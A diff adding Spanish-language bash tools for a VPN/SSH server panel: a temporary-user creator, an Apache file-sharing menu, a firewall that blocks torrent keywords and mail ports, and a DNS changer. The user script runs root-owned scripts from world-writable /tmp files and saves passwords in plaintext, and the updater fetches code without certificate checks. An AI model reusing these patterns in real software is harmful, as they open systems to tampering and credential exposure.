+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && exit
+
+tmpusr () {
+time="$1"
+timer=$(( $time * 60 ))
+timer2="'$timer's"
+echo "#!/bin/bash
+sleep $timer2
+kill"' $(ps -u '"$2 |awk '{print"' $1'"}') 1> /dev/null 2> /dev/null
+userdel --force $2
+rm -rf /tmp/$2
+exit" > /tmp/$2
+}
+
+tmpusr2 () {
+time="$1"
+timer=$(( $time * 60 ))
+timer2="'$timer's"
+echo "#!/bin/bash
+sleep $timer2
+kill=$(dropb | grep "$2" | awk '{print $2}')
+kill $kill
+userdel --force $2
+rm -rf /tmp/$2
+exit" > /tmp/$2
+}
+echo  -e "$(msg -tit)$(msg -bar) " 
+msg -ama "        CREAR USUARIO POR TIEMPO (Minutos)"
+msg -bar
+echo -e "\033[1;97m Los Usuarios que cres en esta opcion se eliminaran\n automaticamete pasando el tiempo designado.\033[0m"
+msg -bar
+
+echo -e "\033[1;91m [1]-\033[1;97mNombre del usuario:\033[0;37m"; read -p " " name
+if [[ -z $name ]]
+then
+echo "No a digitado el Nuevo Usuario"
+exit
+fi
+if cat /etc/passwd |grep $name: |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null
+then
+echo -e "\033[1;31mUsuario $name ya existe\033[0m"
+exit
+fi
+echo -e "\033[1;91m [2]-\033[1;97mContraseña para usuario $name:\033[0;37m"; read -p " " pass
+echo -e "\033[1;91m [3]-\033[1;97mTiempo de Duración En Minutos:\033[0;37m"; read -p " " tmp
+if [ "$tmp" = "" ]; then
+tmp="30"
+echo -e "\033[1;32mFue Definido 30 minutos Por Defecto!\033[0m"
+msg -bar
+sleep 2s
+fi
+useradd -M -s /bin/false $name
+(echo $pass; echo $pass)|passwd $name 2>/dev/null
+touch /tmp/$name
+tmpusr $tmp $name
+chmod 777 /tmp/$name
+touch /tmp/cmd
+chmod 777 /tmp/cmd
+echo "nohup /tmp/$name & >/dev/null" > /tmp/cmd
+/tmp/cmd 2>/dev/null 1>/dev/null
+rm -rf /tmp/cmd
+touch /etc/VPS-MX/demo-ssh/$name
+echo "senha: $pass" >> /etc/VPS-MX/demo-ssh/$name
+echo "data: ($tmp)Minutos" >> /etc/VPS-MX/demo-ssh/$name
+msg -bar2
+echo -e "\033[1;93m ¡¡ USUARIO TEMPORAL x MINUTOS (VPS-MX By @Kalix1) !!\033[0m"
+msg -bar2
+echo -e "\033[1;36m  >> IP del Servidor: \033[0m$(meu_ip) " 
+echo -e "\033[1;36m  >> Usuario: \033[0m$name"
+echo -e "\033[1;36m  >> Contraseña: \033[0m$pass"
+echo -e "\033[1;36m  >> Minutos de Duración: \033[0m$tmp"
+msg -bar2
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+

+ 97 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/apacheon.sh

@@ -0,0 +1,97 @@
+#!/bin/bash
+#26/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+fun_ip () {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
+}
+IP="$(fun_ip)"
+msg -bar
+msg -tit
+echo -e "\033[1;96m           Gestor de Archivos FTP VPS•MX"
+msg -bar
+echo -e "${cor[4]} [1] >${cor[3]} $(fun_trans "Colocar Archivo Online")"
+echo -e "${cor[4]} [2] >${cor[3]} $(fun_trans "Remover Archivo Online")"
+echo -e "${cor[4]} [3] >${cor[3]} $(fun_trans "Ver Links de Archivos Online")"
+msg -bar
+while [[ ${arquivoonlineadm} != @([1-3]) ]]; do
+read -p "[1-3]: " arquivoonlineadm
+tput cuu1 && tput dl1
+done
+case ${arquivoonlineadm} in
+3)
+[[ -z $(ls /var/www/html) ]] && echo -e "$barra"  || {
+    for my_arqs in `ls /var/www/html`; do
+    [[ "$my_arqs" = "index.html" ]] && continue
+    [[ "$my_arqs" = "index.php" ]] && continue
+    [[ -d "$my_arqs" ]] && continue
+    echo -e "\033[1;31m[$my_arqs] \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
+    done
+    msg -bar
+    }
+;;
+2)
+i=1
+[[ -z $(ls /var/www/html) ]] && echo -e "$barra"  || {
+    for my_arqs in `ls /var/www/html`; do
+    [[ "$my_arqs" = "index.html" ]] && continue
+    [[ "$my_arqs" = "index.php" ]] && continue
+    [[ -d "$my_arqs" ]] && continue
+    select_arc[$i]="$my_arqs"
+    echo -e "${cor[2]}[$i] > ${cor[3]}$my_arqs - \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
+    let i++
+    done
+    msg -bar
+    echo -e "${cor[5]}$(fun_trans "Seleccione el archivo que desea borrar")"
+    msg -bar
+    while [[ -z ${select_arc[$slct]} ]]; do
+    read -p " [1-$i]: " slct
+    tput cuu1 && tput dl1
+    done
+    arquivo_move="${select_arc[$slct]}"
+    [[ -d /var/www/html ]] && [[ -e /var/www/html/$arquivo_move ]] && rm -rf /var/www/html/$arquivo_move > /dev/null 2>&1
+    [[ -e /var/www/$arquivo_move ]] && rm -rf /var/www/$arquivo_move > /dev/null 2>&1
+    echo -e "${cor[5]}$(fun_trans "Exito!")"
+    msg -bar
+    }
+;;    
+1)
+i="1"
+[[ -z $(ls $HOME) ]] && echo -e "$barra"  || {
+    for my_arqs in `ls $HOME`; do
+    [[ -d "$my_arqs" ]] && continue
+    select_arc[$i]="$my_arqs"
+    echo -e "${cor[2]} [$i] > ${cor[3]}$my_arqs"
+    let i++
+    done
+    i=$(($i - 1))
+	msg -bar
+    echo -e "${cor[5]}$(fun_trans "Seleccione el archivo")"
+    msg -bar
+    while [[ -z ${select_arc[$slct]} ]]; do
+    read -p " [1-$i]: " slct
+    tput cuu1 && tput dl1
+    done
+    arquivo_move="${select_arc[$slct]}"
+    [ ! -d /var ] && mkdir /var
+    [ ! -d /var/www ] && mkdir /var/www
+    [ ! -d /var/www/html ] && mkdir /var/www/html
+    [ ! -e /var/www/html/index.html ] && touch /var/www/html/index.html
+    [ ! -e /var/www/index.html ] && touch /var/www/index.html
+    chmod -R 755 /var/www
+    cp $HOME/$arquivo_move /var/www/$arquivo_move
+    cp $HOME/$arquivo_move /var/www/html/$arquivo_move
+    echo -e "\033[1;36m http://$IP:81/$arquivo_move\033[0m"
+    msg -bar
+    echo -e "${cor[5]}$(fun_trans "Exito!")"
+     msg -bar
+    }
+;;
+esac

+ 537 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/blockBT.sh

@@ -0,0 +1,537 @@
+#!/bin/bash
+#19/12/19
+PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+export PATH
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+
+sh_ver="1.0.11"
+Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
+Info="${Green_font_prefix}[Informacion]${Font_color_suffix}"
+Error="${Red_font_prefix}[Error]${Font_color_suffix}"
+
+smtp_port="25,26,465,587"
+pop3_port="109,110,995"
+imap_port="143,218,220,993"
+other_port="24,50,57,105,106,158,209,1109,24554,60177,60179"
+bt_key_word="torrent
+.torrent
+peer_id=
+announce
+info_hash
+get_peers
+find_node
+BitTorrent
+announce_peer
+BitTorrent protocol
+announce.php?passkey=
+magnet:
+xunlei
+sandai
+Thunder
+XLLiveUD"
+
+check_sys(){
+	if [[ -f /etc/redhat-release ]]; then
+		release="centos"
+	elif cat /etc/issue | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+	elif cat /proc/version | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /proc/version | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+    fi
+	bit=`uname -m`
+}
+check_BT(){
+	Cat_KEY_WORDS
+	BT_KEY_WORDS=$(echo -e "$Ban_KEY_WORDS_list"|grep "torrent")
+}
+check_SPAM(){
+	Cat_PORT
+	SPAM_PORT=$(echo -e "$Ban_PORT_list"|grep "${smtp_port}")
+}
+Cat_PORT(){
+	Ban_PORT_list=$(iptables -t filter -L OUTPUT -nvx --line-numbers|grep "REJECT"|awk '{print $13}')
+}
+Cat_KEY_WORDS(){
+	Ban_KEY_WORDS_list=""
+	Ban_KEY_WORDS_v6_list=""
+	if [[ ! -z ${v6iptables} ]]; then
+		Ban_KEY_WORDS_v6_text=$(${v6iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP")
+		Ban_KEY_WORDS_v6_list=$(echo -e "${Ban_KEY_WORDS_v6_text}"|sed -r 's/.*\"(.+)\".*/\1/')
+	fi
+	Ban_KEY_WORDS_text=$(${v4iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP")
+	Ban_KEY_WORDS_list=$(echo -e "${Ban_KEY_WORDS_text}"|sed -r 's/.*\"(.+)\".*/\1/')
+}
+View_PORT(){
+	Cat_PORT
+	echo -e "========${Red_background_prefix} Puerto Bloqueado Actualmente ${Font_color_suffix}========="
+	echo -e "$Ban_PORT_list" && echo && echo -e "==============================================="
+}
+View_KEY_WORDS(){
+	Cat_KEY_WORDS
+	echo -e "============${Red_background_prefix} Actualmente Prohibido ${Font_color_suffix}============"
+	echo -e "$Ban_KEY_WORDS_list" && echo -e "==============================================="
+}
+View_ALL(){
+	echo
+	View_PORT
+	View_KEY_WORDS
+	echo
+	msg -bar2
+}
+Save_iptables_v4_v6(){
+	if [[ ${release} == "centos" ]]; then
+		if [[ ! -z "$v6iptables" ]]; then
+			service ip6tables save
+			chkconfig --level 2345 ip6tables on
+		fi
+		service iptables save
+		chkconfig --level 2345 iptables on
+	else
+		if [[ ! -z "$v6iptables" ]]; then
+			ip6tables-save > /etc/ip6tables.up.rules
+			echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules" > /etc/network/if-pre-up.d/iptables
+		else
+			echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules" > /etc/network/if-pre-up.d/iptables
+		fi
+		iptables-save > /etc/iptables.up.rules
+		chmod +x /etc/network/if-pre-up.d/iptables
+	fi
+}
+Set_key_word() { $1 -t mangle -$3 OUTPUT -m string --string "$2" --algo bm --to 65535 -j DROP; }
+Set_tcp_port() {
+	[[ "$1" = "$v4iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with icmp-port-unreachable
+	[[ "$1" = "$v6iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with tcp-reset
+}
+Set_udp_port() { $1 -t filter -$3 OUTPUT -p udp -m multiport --dports "$2" -j DROP; }
+Set_SPAM_Code_v4(){
+	for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port}
+		do
+		Set_tcp_port $v4iptables "$i" $s
+		Set_udp_port $v4iptables "$i" $s
+	done
+}
+Set_SPAM_Code_v4_v6(){
+	for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port}
+	do
+		for j in $v4iptables $v6iptables
+		do
+			Set_tcp_port $j "$i" $s
+			Set_udp_port $j "$i" $s
+		done
+	done
+}
+Set_PORT(){
+	if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then
+		Set_tcp_port $v4iptables $PORT $s
+		Set_udp_port $v4iptables $PORT $s
+		Set_tcp_port $v6iptables $PORT $s
+		Set_udp_port $v6iptables $PORT $s
+	elif [[ -n "$v4iptables" ]]; then
+		Set_tcp_port $v4iptables $PORT $s
+		Set_udp_port $v4iptables $PORT $s
+	fi
+	Save_iptables_v4_v6
+}
+Set_KEY_WORDS(){
+	key_word_num=$(echo -e "${key_word}"|wc -l)
+	for((integer = 1; integer <= ${key_word_num}; integer++))
+		do
+			i=$(echo -e "${key_word}"|sed -n "${integer}p")
+			Set_key_word $v4iptables "$i" $s
+			[[ ! -z "$v6iptables" ]] && Set_key_word $v6iptables "$i" $s
+	done
+	Save_iptables_v4_v6
+}
+Set_BT(){
+	key_word=${bt_key_word}
+	Set_KEY_WORDS
+	Save_iptables_v4_v6
+}
+Set_SPAM(){
+	if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then
+		Set_SPAM_Code_v4_v6
+	elif [[ -n "$v4iptables" ]]; then
+		Set_SPAM_Code_v4
+	fi
+	Save_iptables_v4_v6
+}
+Set_ALL(){
+	Set_BT
+	Set_SPAM
+}
+Ban_BT(){
+	check_BT
+	[[ ! -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent bloqueados y Palabras Claves, no es\nnecesario volver a prohibirlas !" && msg -bar2 && exit 0
+	s="A"
+	Set_BT
+	View_ALL
+	echo -e "${Info} Torrent bloqueados y Palabras Claves !"
+	msg -bar2
+}
+Ban_SPAM(){
+	check_SPAM
+	[[ ! -z ${SPAM_PORT} ]] && echo -e "${Error} Se detectó un puerto SPAM bloqueado, no es\nnecesario volver a bloquear !" && msg -bar2 && exit 0
+	s="A"
+	Set_SPAM
+	View_ALL
+	echo -e "${Info} Puertos SPAM Bloqueados !"
+	msg -bar2
+}
+Ban_ALL(){
+	check_BT
+	check_SPAM
+	s="A"
+	if [[ -z ${BT_KEY_WORDS} ]]; then
+		if [[ -z ${SPAM_PORT} ]]; then
+			Set_ALL
+			View_ALL
+			echo -e "${Info} Torrent bloqueados, Palabras Claves y Puertos SPAM !"
+			msg -bar2
+		else
+			Set_BT
+			View_ALL
+			echo -e "${Info} Torrent bloqueados y Palabras Claves !"
+		fi
+	else
+		if [[ -z ${SPAM_PORT} ]]; then
+			Set_SPAM
+			View_ALL
+			echo -e "${Info} Puerto SPAM (spam) prohibido !"
+		else
+			echo -e "${Error} Torrent Bloqueados, Palabras Claves y Puertos SPAM,\nno es necesario volver a prohibir !" && msg -bar2 && exit 0
+		fi
+	fi
+}
+UnBan_BT(){
+	check_BT
+	[[ -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent y Palabras Claves no bloqueadas, verifique !"&& msg -bar2 && exit 0
+	s="D"
+	Set_BT
+	View_ALL
+	echo -e "${Info} Torrent Desbloqueados y Palabras Claves !"
+	msg -bar2
+}
+UnBan_SPAM(){
+	check_SPAM
+	[[ -z ${SPAM_PORT} ]] && echo -e "${Error} Puerto SPAM no detectados, verifique !" && msg -bar2 && exit 0
+	s="D"
+	Set_SPAM
+	View_ALL
+	echo -e "${Info} Puertos de SPAM Desbloqueados !"
+	msg -bar2
+}
+UnBan_ALL(){
+	check_BT
+	check_SPAM
+	s="D"
+	if [[ ! -z ${BT_KEY_WORDS} ]]; then
+		if [[ ! -z ${SPAM_PORT} ]]; then
+			Set_ALL
+			View_ALL
+			echo -e "${Info} Torrent, Palabras Claves y Puertos SPAM Desbloqueados !"
+			msg -bar2
+		else
+			Set_BT
+			View_ALL
+			echo -e "${Info} Torrent, Palabras Claves Desbloqueados !"
+			msg -bar2
+		fi
+	else
+		if [[ ! -z ${SPAM_PORT} ]]; then
+			Set_SPAM
+			View_ALL
+			echo -e "${Info} Puertos SPAM Desbloqueados !"
+			msg -bar2
+		else
+			echo -e "${Error} No se  detectan Torrent, Palabras Claves y Puertos SPAM Bloqueados, verifique !" && msg -bar2 && exit 0
+		fi
+	fi
+}
+ENTER_Ban_KEY_WORDS_type(){
+	Type=$1
+	Type_1=$2
+	if [[ $Type_1 != "ban_1" ]]; then
+		echo -e "Por favor seleccione un tipo de entrada:
+		
+ 1. Entrada manual (solo se admiten palabras clave únicas)
+ 
+ 2. Lectura local de archivos (admite lectura por lotes de palabras clave, una palabra clave por línea)
+ 
+ 3. Lectura de dirección de red (admite lectura por lotes de palabras clave, una palabra clave por línea)" && echo
+		read -e -p "(Por defecto: 1. Entrada manual):" key_word_type
+	fi
+	[[ -z "${key_word_type}" ]] && key_word_type="1"
+	if [[ ${key_word_type} == "1" ]]; then
+		if [[ $Type == "ban" ]]; then
+			ENTER_Ban_KEY_WORDS
+		else
+			ENTER_UnBan_KEY_WORDS
+		fi
+	elif [[ ${key_word_type} == "2" ]]; then
+		ENTER_Ban_KEY_WORDS_file
+	elif [[ ${key_word_type} == "3" ]]; then
+		ENTER_Ban_KEY_WORDS_url
+	else
+		if [[ $Type == "ban" ]]; then
+			ENTER_Ban_KEY_WORDS
+		else
+			ENTER_UnBan_KEY_WORDS
+		fi
+	fi
+}
+ENTER_Ban_PORT(){
+	echo -e "Ingrese el puerto que Bloqueará:\n(segmento de Puerto único / Puerto múltiple / Puerto continuo)\n"
+	if [[ ${Ban_PORT_Type_1} != "1" ]]; then
+	echo -e "
+	${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix}
+	
+ -Puerto único: 25 (puerto único)
+ 
+ -Multipuerto: 25, 26, 465, 587 (varios puertos están separados por comas)
+
+ -Segmento de puerto continuo: 25: 587 (todos los puertos entre 25-587)" && echo
+	fi
+	read -e -p "(Intro se cancela por defecto):" PORT
+	[[ -z "${PORT}" ]] && echo "Cancelado..." && View_ALL && exit 0
+}
+ENTER_Ban_KEY_WORDS(){
+    msg -bar2
+	echo -e "Ingrese las palabras clave que se prohibirán\n(nombre de dominio, etc., solo admite una sola palabra clave)"
+	if [[ ${Type_1} != "ban_1" ]]; then
+	echo ""
+	echo -e "${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix}
+	
+ -Palabras clave: youtube, que prohíbe el acceso a cualquier nombre de dominio que contenga la palabra clave youtube.
+ 
+ -Palabras clave: youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de nombre de pan-dominio) que contenga la palabra clave youtube.com.
+
+ -Palabras clave: www.youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de subdominio) que contenga la palabra clave www.youtube.com.
+
+ -Autoevaluación de más efectos (como la palabra clave .zip se puede usar para deshabilitar la descarga de cualquier archivo de sufijo .zip)." && echo
+	fi
+	read -e -p "(Intro se cancela por defecto):" key_word
+	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+}
+ENTER_Ban_KEY_WORDS_file(){
+	echo -e "Ingrese el archivo local de palabras clave que se prohibirá / desbloqueará (utilice la ruta absoluta)" && echo
+	read -e -p "(El valor predeterminado es leer key_word.txt en el mismo directorio que el script):" key_word
+	[[ -z "${key_word}" ]] && key_word="key_word.txt"
+	if [[ -e "${key_word}" ]]; then
+		key_word=$(cat "${key_word}")
+		[[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo está vacío. !" && View_ALL && exit 0
+	else
+		echo -e "${Error} Archivo no encontrado ${key_word} !" && View_ALL && exit 0
+	fi
+}
+ENTER_Ban_KEY_WORDS_url(){
+	echo -e "Ingrese la dirección del archivo de red de palabras clave que se prohibirá / desbloqueará (por ejemplo, http: //xxx.xx/key_word.txt)" && echo
+	read -e -p "(Intro se cancela por defecto):" key_word
+	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+	key_word=$(wget --no-check-certificate -t3 -T5 -qO- "${key_word}")
+	[[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo de red está vacío o se agotó el tiempo de acceso !" && View_ALL && exit 0
+}
+ENTER_UnBan_KEY_WORDS(){
+	View_KEY_WORDS
+	echo -e "Ingrese la palabra clave que desea desbloquear (ingrese la palabra clave completa y precisa de acuerdo con la lista anterior)" && echo
+	read -e -p "(Intro se cancela por defecto):" key_word
+	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+}
+ENTER_UnBan_PORT(){
+	echo -e "Ingrese el puerto que desea desempaquetar:\n(ingrese el puerto completo y preciso de acuerdo con la lista anterior, incluyendo comas, dos puntos)" && echo
+	read -e -p "(Intro se cancela por defecto):" PORT
+	[[ -z "${PORT}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+}
+Ban_PORT(){
+	s="A"
+	ENTER_Ban_PORT
+	Set_PORT
+	echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n"
+	Ban_PORT_Type_1="1"
+	while true
+	do
+		ENTER_Ban_PORT
+		Set_PORT
+		echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n"
+	done
+	View_ALL
+}
+Ban_KEY_WORDS(){
+	s="A"
+	ENTER_Ban_KEY_WORDS_type "ban"
+	Set_KEY_WORDS
+	echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n"
+	while true
+	do
+		ENTER_Ban_KEY_WORDS_type "ban" "ban_1"
+		Set_KEY_WORDS
+		echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n"
+	done
+	View_ALL
+}
+UnBan_PORT(){
+	s="D"
+	View_PORT
+	[[ -z ${Ban_PORT_list} ]] && echo -e "${Error} Se detecta cualquier puerto no bloqueado !" && exit 0
+	ENTER_UnBan_PORT
+	Set_PORT
+	echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n"
+	while true
+	do
+		View_PORT
+		[[ -z ${Ban_PORT_list} ]] && echo -e "${Error} No se detecta puertos bloqueados !" && msg -bar2 && exit 0
+		ENTER_UnBan_PORT
+		Set_PORT
+		echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n"
+	done
+	View_ALL
+}
+UnBan_KEY_WORDS(){
+	s="D"
+	Cat_KEY_WORDS
+	[[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && exit 0
+	ENTER_Ban_KEY_WORDS_type "unban"
+	Set_KEY_WORDS
+	echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n"
+	while true
+	do
+		Cat_KEY_WORDS
+		[[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && msg -bar2 && exit 0
+		ENTER_Ban_KEY_WORDS_type "unban" "ban_1"
+		Set_KEY_WORDS
+		echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n"
+	done
+	View_ALL
+}
+UnBan_KEY_WORDS_ALL(){
+	Cat_KEY_WORDS
+	[[ -z ${Ban_KEY_WORDS_text} ]] && echo -e "${Error} No se detectó ninguna clave, verifique !" && msg -bar2 && exit 0
+	if [[ ! -z "${v6iptables}" ]]; then
+		Ban_KEY_WORDS_v6_num=$(echo -e "${Ban_KEY_WORDS_v6_list}"|wc -l)
+		for((integer = 1; integer <= ${Ban_KEY_WORDS_v6_num}; integer++))
+			do
+				${v6iptables} -t mangle -D OUTPUT 1
+		done
+	fi
+	Ban_KEY_WORDS_num=$(echo -e "${Ban_KEY_WORDS_list}"|wc -l)
+	for((integer = 1; integer <= ${Ban_KEY_WORDS_num}; integer++))
+		do
+			${v4iptables} -t mangle -D OUTPUT 1
+	done
+	Save_iptables_v4_v6
+	View_ALL
+	echo -e "${Info} Todas las palabras clave han sido desbloqueadas !"
+}
+check_iptables(){
+	v4iptables=`iptables -V`
+	v6iptables=`ip6tables -V`
+	if [[ ! -z ${v4iptables} ]]; then
+		v4iptables="iptables"
+		if [[ ! -z ${v6iptables} ]]; then
+			v6iptables="ip6tables"
+		fi
+	else
+		echo -e "${Error} El firewall de iptables no está instalado !
+Por favor, instale el firewall de iptables:
+CentOS Sistema: yum install iptables -y
+Debian / Ubuntu Sistema: apt-get install iptables -y"
+	fi
+}
+Update_Shell(){
+	sh_new_ver=$(wget --no-check-certificate -qO- -t1 -T3 "https://www.dropbox.com/s/xlecnj3kcw5bwqt/blockBT.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1)
+	[[ -z ${sh_new_ver} ]] && echo -e "${Error} No se puede vincular a Github !" && exit 0
+	wget https://www.dropbox.com/s/xlecnj3kcw5bwqt/blockBT.sh -O /etc/ger-frm/blockBT.sh &> /dev/null
+	chmod +x /etc/ger-frm/blockBT.sh
+	echo -e "El script ha sido actualizado a la última versión.[ ${sh_new_ver} ]"
+	msg -bar2 
+	exit 0
+}
+check_sys
+check_iptables
+action=$1
+if [[ ! -z $action ]]; then
+	[[ $action = "banbt" ]] && Ban_BT && exit 0
+	[[ $action = "banspam" ]] && Ban_SPAM && exit 0
+	[[ $action = "banall" ]] && Ban_ALL && exit 0
+	[[ $action = "unbanbt" ]] && UnBan_BT && exit 0
+	[[ $action = "unbanspam" ]] && UnBan_SPAM && exit 0
+	[[ $action = "unbanall" ]] && UnBan_ALL && exit 0
+fi
+clear
+clear
+msg -bar
+echo  -e "$(msg -tit) " 
+echo -e "  Panel de Firewall VPS•MX By @Kalix1 ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix}"
+msg -bar2
+echo -e "  ${Green_font_prefix}0.${Font_color_suffix} Ver la lista actual de prohibidos
+————————————
+  ${Green_font_prefix}1.${Font_color_suffix} Bloquear Torrent, Palabras Clave
+  ${Green_font_prefix}2.${Font_color_suffix} Bloquear Puertos SPAM 
+  ${Green_font_prefix}3.${Font_color_suffix} Bloquear Torrent, Palabras Clave + Puertos SPAM
+  ${Green_font_prefix}4.${Font_color_suffix} Bloquear Puerto personalizado
+  ${Green_font_prefix}5.${Font_color_suffix} Bloquear Palabras Clave Personalizadas
+————————————
+  ${Green_font_prefix}6.${Font_color_suffix} Desbloquear Torrent, Palabras Clave
+  ${Green_font_prefix}7.${Font_color_suffix} Desbloquear Puertos SPAM
+  ${Green_font_prefix}8.${Font_color_suffix} Desbloquear Torrent, Palabras Clave , Puertos SPAM
+  ${Green_font_prefix}9.${Font_color_suffix} Desbloquear Puerto Personalizado
+ ${Green_font_prefix}10.${Font_color_suffix} Desbloquear Palabra Clave Personalizadas
+ ${Green_font_prefix}11.${Font_color_suffix} Desbloquear Todas las palabras Clave Personalizadas
+————————————
+ ${Green_font_prefix}12.${Font_color_suffix} Actualizar script" && msg -bar2
+read -e -p " Por favor ingrese un número [0-12]:" num && msg -bar2
+case "$num" in
+	0)
+	View_ALL
+	;;
+	1)
+	Ban_BT
+	;;
+	2)
+	Ban_SPAM
+	;;
+	3)
+	Ban_ALL
+	;;
+	4)
+	Ban_PORT
+	;;
+	5)
+	Ban_KEY_WORDS
+	;;
+	6)
+	UnBan_BT
+	;;
+	7)
+	UnBan_SPAM
+	;;
+	8)
+	UnBan_ALL
+	;;
+	9)
+	UnBan_PORT
+	;;
+	10)
+	UnBan_KEY_WORDS
+	;;
+	11)
+	UnBan_KEY_WORDS_ALL
+	;;
+	12)
+	Update_Shell
+	;;
+	*)
+	echo "Por favor ingrese el número correcto [0-12]"
+	;;
+esac

+ 39 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/dns-netflix.sh

@@ -0,0 +1,39 @@
+# !/bin/bash
+# 27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+dnsnetflix () {
+echo "nameserver $dnsp" > /etc/resolv.conf
+#echo "nameserver 8.8.8.8" >> /etc/resolv.conf
+/etc/init.d/ssrmu stop &>/dev/null
+/etc/init.d/ssrmu start &>/dev/null
+/etc/init.d/shadowsocks-r stop &>/dev/null
+/etc/init.d/shadowsocks-r start &>/dev/null
+msg -bar2
+echo -e "${cor[4]}  DNS AGREGADOS CON EXITO"
+} 
+clear
+msg -bar2
+msg -tit
+echo -e "\033[1;93m     AGREGARDOR DE DNS PERSONALES By @USA1_BOT "
+msg -bar2
+echo -e "\033[1;39m Esta funcion ara que puedas ver Netflix con tu VPS"
+msg -bar2
+echo -e "\033[1;91m ¡ Solo seran utiles si registraste tu IP en el BOT !"
+echo -e "\033[1;39m En APPS como HTTP Inyector,KPN Rev,APKCUSTOM, etc."
+echo -e "\033[1;39m Se deveran agregar en la aplicasion a usar estos DNS."
+echo -e "\033[1;39m En APPS como SS,SSR,V2RAY no es necesario agregarlos."
